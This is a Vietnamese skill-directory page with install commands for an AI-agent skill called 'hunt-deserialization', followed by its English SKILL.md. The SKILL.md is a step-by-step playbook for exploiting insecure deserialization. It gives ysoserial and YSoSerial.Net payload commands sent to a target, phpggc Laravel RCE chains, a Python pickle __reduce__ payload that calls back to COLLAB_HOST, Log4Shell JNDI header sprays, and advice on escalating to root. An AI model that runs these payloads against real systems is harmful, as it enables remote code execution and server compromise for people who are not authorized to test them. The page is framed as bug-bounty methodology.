hunt-deserialization – skill Lập trình cho agent AI
Săn lỗ hổng Insecure Deserialization — chuỗi gadget Java (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE qua deserialization hầu như luôn ở mức Critical. Dùng khi mục tiêu chạy Java, PHP serialization, Python pickle, .NET, hoặc Ruby on Rails.
Cài skill hunt-deserialization bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-deserialization-8292e.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-deserialization – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-deserialization-8292e.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-deserialization – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-deserialization-8292e.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-deserialization – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-deserialization-8292e.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-deserialization – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
HUNT-DESERIALIZATION — Insecure Deserialization
Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
- Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- PHP Object Injection —
__wakeup/__destructmagic methods → file write / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
- Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
- JNDI injection — Log4Shell pattern:
${jndi:ldap://attacker/a}→ class load → RCE
---
Attack Surface Signals
Detection Patterns
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl --max-time 30 --connect-timeout 10 -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/Header / Cookie Signals
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/---
Step-by-Step Hunting Methodology
Phase 1 — Java Deserialization (ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"Phase 2 — PHP Object Injection
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64Phase 3 — Python Pickle
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pklPhase 4 — .NET ViewState
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64Phase 5 — Log4Shell / JNDI
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"Phase 6 — Ruby Marshal
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets---
Chain Table
| Deserialization signal | Chain to | Impact |
|-----------------------|----------|--------|
| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
---
Automation
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit---
Validation
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed
✅ Command output in response: full RCE confirmed
Severity: Almost always Critical — RCE with server process privileges.
Verification
1. ysoserial availability — check if ysoserial is installed:
which ysoserial 2>/dev/null || ls /opt/ysoserial*.jar 2>/dev/null | head -1 && echo "PASS: ysoserial found" || echo "NOTE: ysoserial not installed"
2. PHP deserialization test — verify PHP payload generation:
php -r "echo serialize(['test'=>'value']);" 2>/dev/null && echo "PASS: PHP serialize works" || echo "NOTE: PHP not available"
All tests verify deserialization probing.
---
Pitfalls
- ysoserial payload without gadget chain — generating a payload is not exploitation. Need to confirm the target's classpath contains the specific gadget.
- Java deserialization vs PHP unserialize — different languages, different tools. Don't cross-apply payloads.
- Base64-encoded payload but server expects raw binary — some servers accept base64, others raw. Test both encodings.
- Content-Type mismatch — Java deserialization typically expects
application/x-java-serialized-objectorapplication/octet-stream. Wrong Content-Type may cause silent rejection. - WAF deserialization filtering — many WAFs block known ysoserial gadget signatures. The bug may still exist but require a custom gadget chain.
---
Related Skills
hunt-rce— Deserialization is the canonical server-side RCE path. Chain primitive: Java ysoserial gadget chain (CommonsCollections6) → OS command execution as the application server user →id/whoamiin response or OOB callback.hunt-aspnet— ASP.NET ViewState deserialization is a .NET-specific RCE class. Chain primitive:__VIEWSTATEENCRYPTED=""(signed-only) + leaked<machineKey>validationKey →ysoserial.net -p ViewState -g TypeConfuseDelegate→ RCE as IIS worker process.hunt-lfi— PHPphar://deserialization chains file upload with PHP object injection. Chain primitive: upload a polyglot JPEG + PHAR file → include it viaphar:///path/to/upload.jpg→__wakeup/__destructmagic methods called → RCE via PHP gadget chain.hunt-xxe— XML external entity processing often pairs with XML deserialization sinks. Chain primitive: SOAP endpoint accepts XML → XXE exfiltrates/etc/passwdvia OOB DTD → combined with Java deserialization if the XML parser uses XStream or similar.hunt-api-misconfig— JWTalg:noneor weak HMAC secret is a deserialization-equivalent — the server deserializes the token payload without verifying integrity. Chain primitive:{"alg":"none","typ":"JWT"}.{"sub":"admin","role":"admin"}.→ server accepts forged JWT payload as deserialized identity.security-arsenal— Reach for the Deserialization Payload Tree: ysoserial Java gadget chains (CommonsCollections, Spring, JNDI, Groovy, ROME), ysoserial.net (.NET BinaryFormatter, ViewState, ObjectStateFormatter), PHPGGC (Laravel, CodeIgniter, Zend), Python pickle__reduce__, Ruby MarshalGem::Installer, and the JNDI/Log4Shell chain.triage-validation— Apply the Pre-Severity Gate before claiming Critical. A Java serialized object header (AC ED 00 05/rO0ABX) in a cookie does NOT confirm the application deserializes it — confirm by sending a crafted ysoserial payload with an OOB callback. Deserialization found = Critical, but deserialization *confirmed* = the higher value.
Skill liên quan
- spec-driven-development – Lập đặc tả trước khi viết code. Dùng khi bắt đầu dự án, tính năng hoặc thay đổi lớn mà…
- fluidsim – Lên kế hoạch, cấu hình, kiểm tra, khởi động lại và phân tích các mô phỏng CFD FluidSim…
- apify-generate-output-schema – Tạo output schema (dataset_schema.json, output_schema.json, key_value_store_schema.json)…
- error-handling-patterns – Thành thạo các mẫu xử lý lỗi trên nhiều ngôn ngữ, bao gồm exception, kiểu Result, lan…
- cfo-review – /c-level-agents:cfo-review [plan] — Rà soát hoài nghi, thiên về số liệu cho mọi kế hoạch…
- test-driven-development – Phát triển theo hướng kiểm thử bằng vòng lặp red-green-refactor. Dùng khi triển khai bất…
- app-store-changelog – Tạo ghi chú phát hành App Store hướng đến người dùng từ lịch sử git kể từ tag gần nhất.
- appium-skill – Tạo script tự động hóa ứng dụng di động Appium cấp production cho Android và iOS bằng…